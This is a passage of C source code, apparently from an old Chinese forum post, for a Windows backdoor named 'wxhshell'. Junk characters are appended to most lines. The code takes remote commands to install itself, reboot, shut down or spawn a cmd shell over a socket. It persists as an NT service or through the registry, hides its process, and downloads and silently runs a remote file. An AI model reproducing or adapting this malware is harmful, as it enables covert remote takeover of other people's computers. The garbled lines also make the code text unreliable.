  // 帮助 ?%5VaxWJ  
  case '?': { ,D{7=mDVm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X,Na4~JO(  
    break; {KgA V  
  } 2 GRI<M  
  // 安装 g-qXS]y7  
  case 'i': { >NUbk9}J4  
    if(Install()) u%C oo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n#+EG3  
    else F` ybe\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xFF!)k #  
    break; v@zi?D K  
    } LGt>=|=bj  
  // 卸载 c`<2&ke  
  case 'r': { 3y)\dln  
    if(Uninstall()) 2j+w5KvU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@XS  
    else "0HUaU,e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Ha:O,|  
    break; ) lUS'I  
    } ^Wld6:L{I  
  // 显示 wxhshell 所在路径 tLu&3<%  
  case 'p': { E7$&:xqx  
    char svExeFile[MAX_PATH]; [[|#}D:L  
    strcpy(svExeFile,"\n\r"); V}V->j*  
      strcat(svExeFile,ExeFile); vK!`#W`X  
        send(wsh,svExeFile,strlen(svExeFile),0); necY/&Ld-  
    break; 2iNLm6"  
    } iaL@- dg  
  // 重启 ~ YH?wdT  
  case 'b': { ?W'z5'|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nkHl;;WJ  
    if(Boot(REBOOT)) !R8%C!=a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R&|.Lvmc/  
    else { MtJ-pa~n  
    closesocket(wsh); :9QU\{2  
    ExitThread(0); g`pq*D  
    } mn@1&#c4y  
    break; Ze V@ X  
    } S"!6]!~^  
  // 关机 ZN8j})lE  
  case 'd': { # `=Zc7gf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `4*I1WZW  
    if(Boot(SHUTDOWN)) :UdW4N-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _=$~l^Y[  
    else { ,1ev2T  
    closesocket(wsh); *aCL/:  
    ExitThread(0); =d8Rij-  
    } +0Q   
    break; :^y!z1\2(7  
    } lgews"  
  // 获取shell B''yW{  
  case 's': { ^ 9+ Qxv  
    CmdShell(wsh); v*.R<- X:  
    closesocket(wsh); )=f}vHg$  
    ExitThread(0); O1v)*&NAI  
    break; ExG(*[l  
  } |:S6Gp[\O  
  // 退出 2}&ERW  
  case 'x': { 6La[( )  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QVjHGY*R  
    CloseIt(wsh); o^epXIrIPi  
    break; Nk9=A4=|  
    } q=3>ij {v  
  // 离开 D=ej%]@iw  
  case 'q': { Mqr]e#"o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F?6kkLS/  
    closesocket(wsh); EA~xxKq  
    WSACleanup(); d[t0K]  
    exit(1); _s;y0$O  
    break; Q# hRnM  
        } 6Rfv3  
  } !` 1h *}  
  } 1]If< <  
s* GZOz  
  // 提示信息 \kQ)fk]^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ]~;*9`:  
} LtB5;ByeQ0  
  } ?d%)R*3IX  
pwN2Nzski  
  return; Yh95W  
} 1NP  
_\>y[e["p  
// shell模块句柄 2mEqfy  
int CmdShell(SOCKET sock) C@Wzg  
{ I7vP*YE 7F  
STARTUPINFO si; 5.^pD9[mT  
ZeroMemory(&si,sizeof(si)); w"0$cL3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; br=e+]C Y)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !sX$?P%U  
PROCESS_INFORMATION ProcessInfo; |it*w\+M  
char cmdline[]="cmd"; >Cr"q*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q]{gAGe~  
  return 0; <~m qb=qA$  
} @_`r*Tb)dM  
"[ LUv5  
// 自身启动模式 g/C 7wc  
int StartFromService(void) |&@q$d  
{ _-fLD  
typedef struct hp)>Nzdx  
{ }#1.$a  
  DWORD ExitStatus;  Z`*V9  
  DWORD PebBaseAddress; $+PioSq  
  DWORD AffinityMask; XtO..{qU  
  DWORD BasePriority; ftY&Q#[  
  ULONG UniqueProcessId; -=lm`X<:  
  ULONG InheritedFromUniqueProcessId; /6rjGc  
}   PROCESS_BASIC_INFORMATION; XI`_PQco  
Kvg=7o  
PROCNTQSIP NtQueryInformationProcess; \];|$FQg  
oI -Fr0!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W_XFTqp^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (m1m}* @  
wA{) 9.  
  HANDLE             hProcess; W^elzN(  
  PROCESS_BASIC_INFORMATION pbi; vE9"1M  
b#I,Z+0ry  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '\{ OQ H  
  if(NULL == hInst ) return 0; HVvm3qu4  
<uIPv Zsx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `G":y[Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \zJ^XpC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^:?z7m  
q2 7Ac; y  
  if (!NtQueryInformationProcess) return 0; iY>x x~V  
#4|RaI|.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {W?!tD43"  
  if(!hProcess) return 0; f #h0O3  
KeyKLkg>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8GxT!  
Oi?Q^ISxP  
  CloseHandle(hProcess); 3R/6/+S-  
~^.,Ftkb@7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5S? "<+J'  
if(hProcess==NULL) return 0; UP-2{zb |?  
9>+>s ?IgK  
HMODULE hMod; nxN("$'cq  
char procName[255]; pjO  
unsigned long cbNeeded; K/(LF}  
=O8YU)#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #~j$J  
QqL?? p-S>  
  CloseHandle(hProcess); ~oOv/1v},  
2h5T$[fV  
if(strstr(procName,"services")) return 1; // 以服务启动 (a!E3y5,  
e~QLzZ3  
  return 0; // 注册表启动 j 1'H|4  
} [ 2@Lc3<  
E2 'Al6^C  
// 主模块 Ew}GPJ  
int StartWxhshell(LPSTR lpCmdLine) H?opG<R=ek  
{ fx 08>r   
  SOCKET wsl; L,_U co  
BOOL val=TRUE; -C^qN7Bz  
  int port=0; .~'q yD2V  
  struct sockaddr_in door; Ge$&k  
Q3lVx5G>4  
  if(wscfg.ws_autoins) Install(); >ptI!\i}  
Q m9b:U~  
port=atoi(lpCmdLine); xG~-.  
D vEII'-h  
if(port<=0) port=wscfg.ws_port; Wm8BhO  
M-Nn \h$,  
  WSADATA data; >VjtKSN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f].z.  
PmId #2f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rGH7S!\AM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3I?yRE  
  door.sin_family = AF_INET; !4F@ !.GG!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z[+Qf3j}o6  
  door.sin_port = htons(port); o\j<EQb.  
*=z.H  *  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |q o3 E  
closesocket(wsl); hQSJt[8My  
return 1; 5}N O~Xd<  
} AF{o=@  
,^xsdqpe  
  if(listen(wsl,2) == INVALID_SOCKET) { P\c0Q;){h"  
closesocket(wsl); (I`< ;  
return 1; hy"p8j7_  
} x2i`$iNhmP  
  Wxhshell(wsl); ,v| vgt  
  WSACleanup(); [-[|4|CnOm  
fv3)#>Dgp>  
return 0; /7*qa G  
[0+5 Gx  
} h^9Ne/s~  
(K"t</]  
// 以NT服务方式启动 d@|j>Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '9wD+'c=A  
{ s|!b: Ms`  
DWORD   status = 0; D/{Spw@  
  DWORD   specificError = 0xfffffff; _ )^n[_E  
Qzk/oH s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A[d'*n[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ] )x z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q!%CU8!`&  
  serviceStatus.dwWin32ExitCode     = 0; I(WND/&  
  serviceStatus.dwServiceSpecificExitCode = 0; $PbN=@  
  serviceStatus.dwCheckPoint       = 0; Y@'1}=`J  
  serviceStatus.dwWaitHint       = 0; "ZVBn!  
8<^6<c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^_ZQf  
  if (hServiceStatusHandle==0) return; :kI x?cc  
.uagD[${  
status = GetLastError(); d>4e9M "  
  if (status!=NO_ERROR) B<'V7#L_  
{ o9HDxS$~^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ll&5#q  
    serviceStatus.dwCheckPoint       = 0; +ACV,GG  
    serviceStatus.dwWaitHint       = 0; ;v+CQx  
    serviceStatus.dwWin32ExitCode     = status; OEGAwP?F  
    serviceStatus.dwServiceSpecificExitCode = specificError; .Lu=16  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [76mgj!K  
    return; f{Y|FjPp=E  
  } cl7+DAE  
zck |jhJ6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f<'&_*7,|t  
  serviceStatus.dwCheckPoint       = 0; N<Q}4%^c  
  serviceStatus.dwWaitHint       = 0; I0jEhg%JZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Iei4yDv ;  
} J&:0ytG  
+TX p;6pA  
// 处理NT服务事件,比如:启动、停止 dl$l5z\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kAk,:a;P  
{ GrQAho  
switch(fdwControl) <db/. A3  
{ t_VHw'~"  
case SERVICE_CONTROL_STOP: :* /``  
  serviceStatus.dwWin32ExitCode = 0; C1rCKKh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d`nS0Tf'  
  serviceStatus.dwCheckPoint   = 0; r@<;  
  serviceStatus.dwWaitHint     = 0; R;V(D3  
  { 5BCaE)J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Jl.fN  
  } s3kEux^  
  return; gZ!(&u  
case SERVICE_CONTROL_PAUSE: x!.VWGtb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  FZ2-e  
  break; u!`C:C'  
case SERVICE_CONTROL_CONTINUE: ]R>k0X.V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b~1p.J4  
  break; YL=k&Q G  
case SERVICE_CONTROL_INTERROGATE: gS|xicq!  
  break; }EIwkz8  
}; )L hO}zQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =<_5gR  
} QBn>@jq  
&{=~)>h  
// 标准应用程序主函数 0j/81Y}p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xNqQbk F  
{ 2nie I*[  
fY"28#   
// 获取操作系统版本 EhUy7b,1_  
OsIsNt=GetOsVer(); RK3/!C`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X5/{Mx`8Oz  
Po4cbFZ  
  // 从命令行安装 |8`;55G  
  if(strpbrk(lpCmdLine,"iI")) Install(); TgB;R5  
PrKl whi#  
  // 下载执行文件 /#se>4]  
if(wscfg.ws_downexe) { /[IQ:':^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l{a&Zy)  
  WinExec(wscfg.ws_filenam,SW_HIDE); \mu9ikZ<  
} ,] {NZ9  
g^4FzJ  
if(!OsIsNt) { =U2Te  
// 如果时win9x,隐藏进程并且设置为注册表启动 .}<B*e=y  
HideProc(); 9iy|=  
StartWxhshell(lpCmdLine); @ :4Kk 4g1  
} pNJM]-D]m~  
else .- Lqo=o\  
  if(StartFromService()) XZ&v3ul  
  // 以服务方式启动 Yr=mLT|JN  
  StartServiceCtrlDispatcher(DispatchTable); S7q &|nI  
else "qm>z@K  
  // 普通方式启动 mfN@tMp  
  StartWxhshell(lpCmdLine); rWs5s!l,  
KJ)&(Yx  
return 0; FVmg&[ .  
}
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只看该作者 1 发表于: 2006-10-10
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